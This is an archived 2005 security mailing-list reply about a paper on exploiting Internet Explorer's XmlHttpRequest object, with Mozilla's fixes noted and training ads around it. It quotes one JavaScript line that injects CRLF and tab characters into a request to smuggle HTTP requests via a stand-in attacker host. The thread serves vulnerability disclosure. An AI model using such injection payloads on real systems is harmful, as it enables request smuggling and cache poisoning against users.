Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit Klein

from [Amit Klein (AKsecurity)] Network Security [Permanent Link]
Subject: Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit Klein
Date: Wed, 28 Sep 2005 18:06:49 +0200 
On 27 Sep 2005 at 21:34, Yutaka OIWA wrote:


Hello Amit,

"Amit Klein (AKsecurity)" <aksecurity@hotpop.com> writes:


  x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
  /1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
  .site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
  /1.0\r\nFoobar:","http://www.attacker.site/",false);


This kind of bugs are already fixed in recent Mozilla browsers,
as shown in your reference [4].


[4] "setRequestHeader can be exploited using newline characters", 
Bugzilla bug 297078
https://bugzilla.mozilla.org/show_bug.cgi?id=297078 and 
"XMLHttpRequest allows dangerous request headers to be set", 
Bugzilla bug 302263
https://bugzilla.mozilla.org/show_bug.cgi?id=302263


see comment #15 of bug 297078.

https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c15



Oh. I missed this. So - very good. And thanks for bringing this to Bugtraq's 
and mine 
attention. And while we're here - kudos for your work!

-Amit
[More with this subject...]




<Prev in Thread] Current Thread [Next in Thread>
Previous by Date:  Mantis Bugtracker - Remote Database Scanner and XSS Vulnerabilities, Joxean Guay del Paraguay
Next by Date:  Is the Bottom Line Impacted by Security Breaches?, Kenneth F. Belva
Previous by Thread:  Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit Klein, Yutaka OIWA
Next by Thread:  Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit Klein, anonymous
Indexes:  [Date] [Thread] [Top] [All Lists]